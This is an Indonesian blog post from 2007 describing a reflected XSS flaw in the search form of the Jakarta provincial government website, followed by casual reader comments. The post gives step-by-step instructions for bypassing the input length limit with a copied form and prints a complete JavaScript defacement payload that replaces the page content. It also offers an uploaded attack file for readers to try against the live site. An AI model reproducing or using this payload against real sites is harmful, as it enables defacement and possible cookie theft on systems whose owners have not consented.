Situs jakarta.go.id ada bug XSS

Friday, June 29th, 2007 8:35 pm

BugLagi browsing caari cari artikel tentang pemerintah. Eh ketemu Situs Resmi Pemerintah Propinsi DKI Jakarta trus langsung di redirect ke alamat: http://jakarta.go.id/v21/home/default.asp?lg=1

Nah, lagi asik browsing, coba search engine di situs itu. Bingung kok kata yang dicari dibatesin cuma bisa sampe 17 karakter. Agak aneh memang, biasanya mesin pencari gak membatasi kita mo cari berapa karakter.
Mesin cari yg bermasalah

Trus iseng-iseng masukin kata seperti ini:

[code lang="html4strict"]

tes

[/code]

Nah, yang terjadi:
Tampilan mesin cari

Loh, kok gitu?? knapa tag HTML bisa masuk?? /:) iseng-iseng, coba ah masukin script JavaScript, siapa tau situs ini rentan XSS

Nah, permasalahannya, karena cuma dibatesin 17 karakter, jadi mesin cari di web ini gak mungkin ditulisin script spt:

[code lang="javascript"][/code]

yang notabene lebih dari 17 karakter.

Karena saya (ngakunya) webmaster, masa seeh gak tau logikanya bikin web, jadi tinggal buat aja tampilan dengan mencontek situs ini. Maka seperti biasa saya View Source (( Cuma buat pengguna Mozilla Firefox. Klo gak kebuka, bisa CTR+U, atau pilih View Source ))

Ok, terus buat file HTML yang mirip dengan mesin cari di situs tsb, terus kita ilangin perintah maxlength=”17″, terus karena saya suka XHTML jadi kode yg gak ditutup jadi saya tutup :P + tambahin nama domain di bagian action:

[code lang="html4strict"]

action="http://jakarta.go.id/v21/cari/default.asp?act=list&lg=1">

[/code]

terus beri nama terserah. Klo saya beri nama dengan jakarta.html

Nah tampilannya jadi kayak ini:
Cari Buatan Sendiri

Nah, terus coba masukin script JavaScript spt ini di dalem form input yang sudah dibuat:

[code lang="javascript"][/code]

Dan yang terjadi??? :o :”> Bisa tembus XSS
XSS berhasil

Nah, klo gitu kita coba yang agak aneh-aneh ya, masa seeh udah tau ada bug XSS malah dibiarin gitu aja. Kita coba ‘agak-agak nakal‘ ya. Coba buat script JavaScript dengan kode seperti berikut:

[code lang="javascript"]
var title = "Tes tes XSS";
var bgcolor = "#000000";
var image_url = "http://farm3.static.flickr.com/2400/1850740005_0120d0218e.jpg";
var text = "Hasil Deface Ini Semata-mata Hanya Untuk Belajar! Bagi Webmaster, mohon benahi segera. Terima Kasih";
var font_color = "#FF0000";

deface(title, bgcolor, image_url, text, font_color);

function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
document.title = pageTitle;
document.body.innerHTML = '';
document.bgColor = bgColor;
var overLay = document.createElement("div");
overLay.style.textAlign = 'center';
document.body.appendChild(overLay);
var txt = document.createElement("p");
txt.style.font = 'normal normal bold 36px Tahoma';
txt.style.color = fontColor;
txt.innerHTML = pageText;
overLay.appendChild(txt);

if (image_url != "") {
var newImg = document.createElement("img");
newImg.setAttribute("border", '0');
newImg.setAttribute("src", imageUrl);
overLay.appendChild(newImg);
}

var footer = document.createElement("p");
footer.style.font = 'italic normal normal 12px Tahoma';
footer.style.color = '#DDDDDD';
footer.innerHTML = title;
overLay.appendChild(footer);
}
[/code]

Terus, simpan dengan ekstensi .js (untuk nama terserah, tetapi ak pake nama xss.js)

Terus tinggal masukin alamat script tadi ke dalam form input yang telah dibuat tadi. Dengan script seperti ini:

[code lang="javascript"][/code]

Nah jadilah tampilan seperti ini:
Tampilan deface untuk belajar

Untuk kamu yang mo coba, ak sudah upload file untuk mencoba:

jakarta.html

Parahnya, situs ini juga gak bisa ngenalin metode $_POST dan $_GET pada metode REQUEST, jadi bisa diinject dengan membuat alamat URI seperti ini:

Tes XSS

Untuk semuanya, saya bukan bermaksud sombong, sok menjadi hacker, dan sebagainya. Saya cuma ingin Anda tau untuk kemajuan kita bersama. Untuk webmaster jakarta.go.id semoga bisa dapat cepat menutup bug ini. Berbahaya jika orang lain malah mengambil isi cookies yg ada di web tsb dengan XSS. Buat temen-temen yg blogger, klo ada yg kenal sama webmasternya coba hubungi :)] dia. Terima Kasih


suka dengan tulisan saya? silakan juga mem-follow twitter saya

67 Responses to Situs jakarta.go.id ada bug XSS

  1. sandal Indonesia Opera Mini Windows says:

    X Sangat Sederhana?

    mainnya ga seru dong xixixi

  2. aLe Indonesia Mozilla Firefox Windows says:

    wah, bisa gituan juga toh mas rD =P~ ajarin aLe donk [-o< FS aLe br d hack orang tuh :(

    ngomong2 cewek sapa tuh =P~ cakep amit :D

  3. mysyam Indonesia Mozilla Firefox Ubuntu Linux says:

    weitss….
    mantab2, btw situs mana lagi yang udah di “isengin” selain jakarta.go.id :-\
    udah ngasih tau ke dikiweb@jakarta.go.id blum, nih imel ada di bawah situs nya.

  4. kus Indonesia Opera Mini Linux says:

    loh sampeyan sudah ngomong ke webmastere ?

    kalau belum , kenapa di post disini?

    nanya dulu deh , demi keamanan situs kota Jkt sampeyan :P

  5. Hedi Indonesia Mozilla Firefox Windows says:

    Maklum namanya juga web plat kuning :D

  6. Agam Indonesia Mozilla Firefox Windows says:

    wuih… kagak tau aku bahasa beginian. email ke contact personnya aja kalo ada.

  7. rd Limosin Indonesia Mozilla Firefox Windows says:

    #pertamax

    iya, ini sederhana bgt, cuma memanfaatkan bug

    #2

    duh, klo prenster saya jarang login

    #3

    sudah dihubungin tuh, blom dapet jawaban

    #4

    plat kuning?? he he he…

    #5

    wah, saya bukan orang yg suka cari2 kesalahan gitu mas, cuma kebetulan aja neeh :-&quot; . Iya udah di hubungi

    #6

    iya sudah dihubungi

  8. Ngomong=ngomong commentnya ada bugnya juga lho. Masak saya dari Indonesia dan Agam yang saya tahu juga dari Indonesia bisa sama-sama dari Australia sih?? :-?

  9. finkz Indonesia Mozilla Firefox Windows says:

    heuu. payah nih webmasternya >,

  10. raffaell Malaysia Mozilla Firefox Windows says:

    Hanya bisa di buka di tempat kita, hehehehe, ga seru ah

  11. Leo Indonesia Mozilla Firefox Windows says:

    Waduhhhh…gak ngerti

  12. XSS itu bahasa apa yah? Kok baru tahu sekarang ini neh.

  13. rd Limosin Indonesia Mozilla Firefox Windows says:

    #2

    nyambung: cewek cakep itu namanya Asuka Hinoi, ratu para-para dance jepang. Cari di gugel aja. ~:>

    #8

    ya, namanya juga <abbr title="Cross Side Scripting">XSS</abbr> Raf @-)

    #12

    He… gak tau juga, mungkin Mas dan Agam pake proxy Ausie, itu cuma menurut database berdasarkan nomer <abbr title="Intenet Protocol">IP</abbr>. Atau emang di database saya yg salah?? #-o

  14. annmolly Indonesia Mozilla Firefox Windows says:

    xss masih satu keluarga ama css :-?

  15. Sheilla Indonesia Internet Explorer Windows says:

    Hmmm coba kamu bisa kasi tau si empunya situs, kayaknya akan membantu banyak tuh…

  16. ronggur Indonesia Mozilla Firefox Windows says:

    wah wah..kok bisa ya?… tapi kayaknya situs2 pemerintah daerah itu rada2 rentan deh..
    ya gak tau juga sih :p

  17. bebek Indonesia Mozilla Firefox Windows says:

    wahhh.. ini mah bukan mainanku… kalo baca gini bisa pusing ntar malem… :o

  18. haduh… *langsung mules, banyak coding..*

    sayah minta bikinin ajah yah..

  19. puty Indonesia Mozilla Firefox Windows says:

    ga ngerti. xss itu tetangganya xxx kah? :P

  20. aribowo Indonesia Mozilla Firefox Windows says:

    bro ajarin dong gimana caranya nutup celah yang gituan, jadi kalo ntar aku buat web bisa di minimalis bug nya

  21. finkz Indonesia Mozilla Firefox Windows says:

    blogmu kok jd berat yo? aku ngescroll ke bawah.. ke atas.. jd berat. :-?

  22. snydez Indonesia Mozilla Firefox Windows says:

    hidup penuh dengan bug :)

  23. Pu! Indonesia Mozilla Firefox Windows says:

    wah…….
    biasanya yg bikinan pemerintah emang ga beres gitu
    :(

    btw, bekgronnya ganggu bgt nih
    kalo bisa warnanya dibikin aga pudar gitu kayanya lebih asik
    ga terlalu mencolok:d

    *cuma usul*

  24. galih Indonesia Mozilla Firefox Windows says:

    Waah… ketemu hacker handal nih. :)>-

  25. venus Indonesia Mozilla Firefox Windows says:

    ga ngerti. saya gaptek total!! :((

  26. akangaziz Indonesia Mozilla Firefox Windows says:

    bug serupa juga terdapat di situs pengumuman USM ITB 2007.. :d/:x:d:d

  27. aribowo Indonesia Mozilla Firefox Windows says:

    @finkz

    iya, aku juga ngerasain hal yang sama

    seperti kata pepatah gak gading yang tak retak

  28. aVank Indonesia Mozilla Firefox Windows says:

    wew, sebegitu 'jail'nya dirimu

    hehehe :D

    makasi deh itung2 nyari kongsengan blajar :-&quot;

  29. Anang Indonesia Opera Mini Windows says:

    keren blognya.. ah ga ngerti saya.. yang penting komentar….

  30. thuns Indonesia Opera Mini Windows says:

    :-? mantab…

    mau ga jadi guru gw :D

  31. Suwahadi Indonesia Mozilla Firefox Windows says:

    XSS ??? masih saudara-kah sama XML ??? :d

    [Salam kenal ya ?]

  32. rd Limosin Indonesia Mozilla Firefox Windows says:

    #15
    beda lah.. :) jauh malah

    #16
    sampe sekarang email saya blom dibales sama yg ngurus web jakarta.go.id

    #17
    pusingnya jgn ntar mlm, sekarang aj :d

    #18
    gak begitu bnyk kok, kopi-pes aj dr tulisan ak

    #19
    iya, tetanggaan, sebelah xss tuh ada xxs nah disebelahnya baru xxx :p

    #20
    seeep, apa yg gak ak ajarin ke kamu Ri… :)>-

    #21
    he… iya, kmaren web yg harganya 1,9M kena hack jg tuh. Cb baca di:
    http://ardy.or.id/2006/07/21/situs-mentawai.xhtml
    http://ardy.or.id/2006/07/22/cek-cek-situs-mentawai-lagi.xhtml

    #22, #26
    masa seeh?? emang agak berat seeh, cm gak berat2 amat…

    #23
    HIIIIDDUUUUPPPP bug… (loh kok ??)

    #24
    untuk itu, jadiin ini media utk blajar

    #25
    makasih atas infonya kang Aziz

    #27
    udah dipudarin, tp klo mmg ganggu, ntar dipudarin lg deh. Klo bener2 gak kliatan, duh bisa kena ‘penggal’ ak sm ce yg nampang di bekgron b-(

    #28
    weeee. saya bukan hacker mas… saya webmaster o:-)

    #29
    sama-sama blajar mas…

    #30
    sama, saya jg kurang mengerti (loohh???) yg penting posting… he he he

    #31
    mestinya saya yg berguru sama bang Elzan

    #32
    iya, sodara jaaaaaaaaaauuuuuuuuuuuuuuuuuuuuuuhhhhhhhhhhhh bgt

    #33
    sampe sekarang blom dpt kbar dr webmasternya

  33. iks Indonesia Mozilla Firefox Windows says:

    dy blog mu di tempatku kok kebukanya berat banget yah plus lama apa net ku yah yang error :(( makanya baru bisa mampir niii :)>-

  34. mufti Indonesia Mozilla Firefox Windows says:

    Ternyata beratribut jakarta tidak menjamin bisa canggih. Informasi bagus bwat webmasternya, sip! :)

  35. Fany Indonesia Mozilla Firefox Windows says:

    itu kayaknya udah jadi hal wajib yg harus diketahui si pembuat webnya.. /:)

    smoga segera diperbaiki deh

  36. KaiToU Indonesia Mozilla Firefox Windows says:

    Hai om, numpang ngejunk dsini :P
    wah, dah pke wp 2.2.1 yah? ckckck…
    om, Kai mo nanya, bikin tulisan jd ngeblur pke css itu gmn? (kyk yg di tagcloud yg plg kecil itu loh)

    mohon dijawab & thanx b4 (lewat e-mail jg gpp :))

  37. dasar rd usil…

    dah lama tuh aku gak main2 XSS sekarang hobinya inject-inject… biar gak sakit inject terus…

    btw blog baru aku dah jadi tuh mampir yah…

  38. coky Indonesia Mozilla Firefox Windows says:

    asik tuh bisa di maenin iseng sih waktu itu sama rd nyoba2 nyari bug eh dapet :)>-

  39. aribowo Indonesia Mozilla Firefox Windows says:

    wah gak nyangka rame juga yang kasih komen di postingan ini

  40. rd Limosin Indonesia Mozilla Firefox Windows says:

    #35

    layout komentar diganti neeh. Kmaren pake <table> kebanyakan. tes dulu, msh berat gak…

    #36

    iya, udah dikasih tau. Cuma yg punya gak nge-respon2 imel ak

    #37

    langsung di kunjungi. Wah… situs underground neeh… btw kok korbannya tempat kuliah ak seeh??

    nb: udah di add juga ke Gugel Reader ak

    #38

    iya. Upgrade bro, karena ada bug nya, liat aj di posting patrush:
    http://patrush.web.id/2007/05/25/hati-hati-yang-p
    lagi nulis imel neeh ke kamu

    #39

    Iya, browsing bareng elo ya Cok

    #40

    Iya neeh. Gak nyangka bakal rame :P

  41. satria Diamond Indonesia Mozilla Firefox Linux says:

    ha………………………………haaaaaaaaaaaaaaaaaaaaaaaaa…………..!

    akhirnya sobat gwa………………………………………….punya beginian juga……………!

    tapi hati2 aja lo……ntar gwa hack/////////////////……………….!

    tapi cren juga dechj………………………!

    sukses deh buat lo.

    go freedom

  42. Ai Indonesia Mozilla Firefox Windows says:

    wah…codingnya banyak2 bgitu..aku tak mengerti… 8-|

    Btw, salam kenal mas Ardy.. nice blog euy..background templatenya jg lucu..kreatiph.. ^^v

  43. cuma ngetes browsing pake safari…

    ngebut bow…

  44. Waduh, artikelnya susah dimengerti, maklum gaptek nich :d Tapi keren blognya! Great job man.

  45. bayou_oo Indonesia Mozilla Firefox Windows says:

    wuih…kagak ngerti ahk yg kyk gini2. yang pelajaran melukis ada gak ya?? :)

  46. aribowo Indonesia Mozilla Firefox Windows says:

    wah mana neeh update barunya, lagi nungguin apa neeh

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

close
sudahkah kamu ngaku hari ini??